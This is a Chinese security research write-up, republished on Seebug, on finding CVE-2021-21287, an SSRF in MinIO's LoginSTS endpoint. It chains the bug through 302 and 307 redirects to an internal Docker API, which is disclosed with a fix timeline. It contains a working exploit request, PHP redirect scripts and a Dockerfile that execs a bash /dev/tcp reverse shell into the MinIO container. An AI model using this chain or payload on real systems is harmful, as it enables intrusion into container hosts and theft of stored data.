容器與雲的碰撞——一次對 MinIO 的測試

作者: phith0n
原文鏈接:https://mp.weixin.qq.com/s/X04IhY9Oau-kDOVbok8wEw

事先聲明:本次測試過程完全處於本地或授權環境,僅供學習與參考,不存在未授權測試過程。本文提到的漏洞《MinIO未授權SSRF漏洞(CVE-2021-21287)》已經修復,也請讀者勿使用該漏洞進行未授權測試,否則作者不承擔任何責任。

隨着工作和生活中的一些環境逐漸往雲端遷移,對象存儲的需求也逐漸多了起來,MinIO就是一款支持部署在私有云的開源對象存儲系統。MinIO完全兼容AWS S3的協議,也支持作爲S3的網關,所以在全球被廣泛使用,在Github上已有25k星星。

我平時會將一些數據部署在MinIO中,在CI、Dockerfile等地方進行使用。本週就遇到了一個環境,其中發現一個MinIO,其大概情況如下:

  • MinIO運行在一個小型Docker集羣(swarm)中
  • MinIO開放默認的9000端口,外部可以訪問,地址爲http://192.168.227.131:9000,但是不知道賬號密碼
  • 192.168.227.131這臺主機是CentOS系統,默認防火牆開啓,外部只能訪問9000端口,dockerd監聽在內網的2375端口(其實這也是一個swarm管理節點,swarm監聽在2377端口)

本次測試目標就是竊取MinIO中的數據,或者直接拿下。

0x01 MinIO代碼審計

既然我們選擇了從MinIO入手,那麼先了解一下MinIO。其實我前面也說了,因爲平時用到MinIO的時候很多,所以這一步可以省略了。其使用Go開發,提供HTTP接口,而且還提供了一個前端頁面,名爲“MinIO Browser”。當然,前端頁面就是一個登陸接口,不知道口令無法登錄。

那麼從入口點(前端接口)開始對其進行代碼審計吧。

在User-Agent滿足正則.*Mozilla.*的情況下,我們即可訪問MinIO的前端接口,前端接口是一個自己實現的JsonRPC:

我們感興趣的就是其鑑權的方法,隨便找到一個RPC方法,可見其開頭調用了webRequestAuthenticate,跟進看一下,發現這裏用的是jwt鑑權:

jwt常見的攻擊方法主要有下面這幾種:

  • 將alg設置爲None,告訴服務器不進行簽名校驗
  • 如果alg爲RSA,可以嘗試修改爲HS256,即告訴服務器使用公鑰進行簽名的校驗
  • 爆破簽名密鑰

查看MinIO的JWT模塊,發現其中對alg進行了校驗,只允許以下三種簽名方法:

這就堵死了前兩種繞過方法,爆破當然就更別說了,通常僅作爲沒辦法的情況下的手段。當然,MinIO中使用用戶的密碼作爲簽名的密鑰,這個其實會讓爆破變的簡單一些。

鑑權這塊沒啥突破,我們就可以看看,有哪些RPC接口沒有進行權限驗證。

很快找到了一個接口,LoginSTS。這個接口其實是AWS STS登錄接口的一個代理,用於將發送到JsonRPC的請求轉變成STS的方式轉發給本地的9000端口(也就還是他自己,因爲它是兼容AWS協議的)。

簡化其代碼如下:

// LoginSTS - STS user login handler.
func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {
 ctx := newWebContext(r, args, "WebLoginSTS")

 v := url.Values{}
 v.Set("Action", webIdentity)
 v.Set("WebIdentityToken", args.Token)
 v.Set("Version", stsAPIVersion)

 scheme := "http"
    // ...

 u := &url.URL{
  Scheme: scheme,
  Host:   r.Host,
 }

 u.RawQuery = v.Encode()
 req, err := http.NewRequest(http.MethodPost, u.String(), nil)
 // ...
}

沒發現有鑑權上的繞過問題,但是發現了另一個有趣的問題。這裏,MinIO爲了將請求轉發給“自己”,就從用戶發送的HTTP頭Host中獲取到“自己的地址”,並將其作爲URL的Host構造了新的URL。

這個過程有什麼問題呢?

因爲請求頭是用戶可控的,所以這裏可以構造任意的Host,進而構造一個SSRF漏洞。

我們來實際測試一下,向http://192.168.227.131:9000發送如下請求,其中Host的值是我本地ncat開放的端口(192.168.1.142:4444):

POST /minio/webrpc HTTP/1.1
Host: 192.168.1.142:4444
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 80

{"id":1,"jsonrpc":"2.0","params":{"token":  "Test"},"method":"web.LoginSTS"}

成功收到請求:

可以確定這裏存在一個SSRF漏洞了。

0x02 升級SSRF漏洞

仔細觀察,可以發現這是一個POST請求,但是Path和Body都沒法控制,我們能控制的只有URL中的一個參數WebIdentityToken

但是這個參數經過了URL編碼,無法注入換行符等其他特殊字符。這樣就比較雞肋了,如果僅從現在來看,這個SSRF只能用於掃描端口。我們的目標當然不僅限於此。

與PHP的file_get_contents()和Python的requests.post()不同,Go默認的http庫會跟蹤302跳轉,而且不論是GET還是POST請求。所以,我們這裏可以302跳轉來“升級”SSRF漏洞。

使用PHP來簡單地構造一個302跳轉:

<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params');

將其保存成index.php,啓動一個PHP服務器:

將Host指向這個PHP服務器。這樣,經過一次302跳轉,我們收穫了一個可以控制完整URL的GET請求: 放寬了一些限制,結合前面我對這套內網的瞭解,我們可以嘗試攻擊Docker集羣的2375端口。

2375是Docker API的接口,使用HTTP協議通信,默認不會監聽TCP地址,這裏可能是爲了方便內網其他機器使用所以開放在內網的地址裏了。那麼,我們是否可以通過SSRF來攻擊這個接口呢?

在Docker未授權訪問的情況下,我們通常可以使用docker rundocker exec來在目標容器裏執行任意命令(如果你不瞭解,可以參考這篇文章)。但是翻閱Docker的文檔可知,這兩個操作的請求是POST /containers/createPOST /containers/{id}/exec

兩個API都是POST請求,而我們可以構造的SSRF卻是一個GET的。怎麼辦呢?

0x03 再次升級SSRF漏洞

還記得我們是怎樣獲得這個GET型的SSRF的嗎?通過302跳轉,而接受第一次跳轉的請求就是一個POST請求。不過我們沒法直接利用這個POST請求,因爲他的Path不可控。

如何構造一個Path可控的POST請求呢?

我想到了307跳轉,307跳轉是在RFC 7231中定義的一種HTTP狀態碼,描述如下:

“The 307 (Temporary Redirect) status code indicates that the target resource resides temporarily under a different URI and the user agent MUST NOT change the request method if it performs an automatic redirection to that URI.”

307跳轉的特點就是不會改變原始請求的方法,也就是說,在服務端返回307狀態碼的情況下,客戶端會按照Location指向的地址發送一個相同方法的請求。

我們正好可以利用這個特性,來獲得POST請求。

簡單修改一下之前的index.php:

<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params', false, 307);

嘗試SSRF攻擊,收到了預期的請求:

Bingo,獲得了一個POST請求的SSRF,雖然沒有Body。

0x04 攻擊Docker API

回到Docker API,我發現現在仍然沒法對run和exec兩個API做利用,原因是,這兩個API都需要在請求Body中傳輸JSON格式的參數,而我們這裏的SSRF無法控制Body。

繼續翻閱Docker文檔,我發現了另一個API,Build an image:

這個API的大部分參數是通過Query Parameters傳輸的,我們可以控制。閱讀其中的選項,發現它可以接受一個名爲remote的參數,其說明爲:

A Git repository URI or HTTP/HTTPS context URI. If the URI points to a single text file, the file’s contents are placed into a file called Dockerfile and the image is built from that file. If the URI points to a tarball, the file is downloaded by the daemon and the contents therein used as the context for the build. If the URI points to a tarball and the dockerfile parameter is also specified, there must be a file with the corresponding path inside the tarball.

這個參數可以傳入一個Git地址或者一個HTTP URL,內容是一個Dockerfile或者一個包含了Dockerfile的Git項目或者一個壓縮包。

也就是說,Docker API支持通過指定遠程URL的方式來構建鏡像,而不需要我在本地寫入一個Dockerfile。

所以,我嘗試編寫了這樣一個Dockerfile,看看是否能夠build這個鏡像,如果可以,那麼我的4444端口應該能收到wget的請求:

FROM alpine:3.13
RUN wget -T4 http://192.168.1.142:4444/docker/build

然後修改前面的index.php,指向Docker集羣的2375端口:

<?php
header('Location: http://192.168.227.131:2375/build?remote=http://192.168.1.142:4443/Dockerfile&nocache=true&t=evil:1', false, 307);

進行SSRF攻擊,等待了一會兒,果然收到請求了:

完美,我們已經可以在目標集羣容器裏執行任意命令了。

0x05 拿下MinIO容器

此時離我們的目標,拿下MinIO,還差一點點,後面的攻擊其實就比較簡單了。

因爲現在可以執行任意命令,我們就不會再受到SSRF漏洞的限制,可以直接反彈一個shell,或者可以直接發送任意數據包到Docker API,來訪問容器。經過一頓測試,我發現MinIO雖然是運行的一個service,但實際上就只有一個容器。

所以我編寫了一個自動化攻擊MinIO容器的腳本,並將其放在了Dockerfile中,讓其在Build的時候進行攻擊,利用docker exec在MinIO的容器裏執行反彈shell的命令。這個Dockerfile如下:

FROM alpine:3.13

RUN apk add curl bash jq

RUN set -ex && \
    { \
        echo '#!/bin/bash'; \
        echo 'set -ex'; \
        echo 'target="http://192.168.227.131:2375"'; \
        echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
        echo 'for item in ${jsons[@]}; do'; \
        echo '    name=$(echo $item | base64 -d | jq -r ".Image")'; \
        echo '    if [[ "$name" == *"minio/minio"* ]]; then'; \
        echo '        id=$(echo $item | base64 -d | jq -r ".Id")'; \
        echo '        break'; \
        echo '    fi'; \
        echo 'done'; \
        echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \
        echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
    } | bash

這個腳本所幹的事情比較簡單,一個是遍歷了所有容器,如果發現其鏡像的名字中包含minio/minio,則認爲這個容器就是MinIO所在的容器。拿到這個容器的Id,用exec的API,在其中執行反彈shell的命令。

最後成功拿到MinIO容器的shell:

當然,我們也可以通過Docker API來獲取集羣權限,這不在本文的介紹範圍內了。

0x06 總結

本次測試開始於一個MinIO開放的9000端口,通過代碼審計,挖掘到了MinIO的一個SSRF漏洞,又利用這個漏洞攻擊內網的Docker API,最終拿到了MinIO的權限。

本文所涉及的漏洞已經提交給MinIO官方並修復,以下是時間線:

  • Jan 23, 2021, 9:11 PM - 漏洞提交

  • Jan 24, 2021, 3:06 AM - 漏洞確認

  • Jan 26, 2021, 2:15 AM - 修復已被合併進主線分支

  • Jan 30, 2021, 11:22 AM - 漏洞公告和新版本被髮布

  • Feb 2, 2021 01:10 AM - 確認編號 - CVE-2021-21287


Paper 本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1477/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章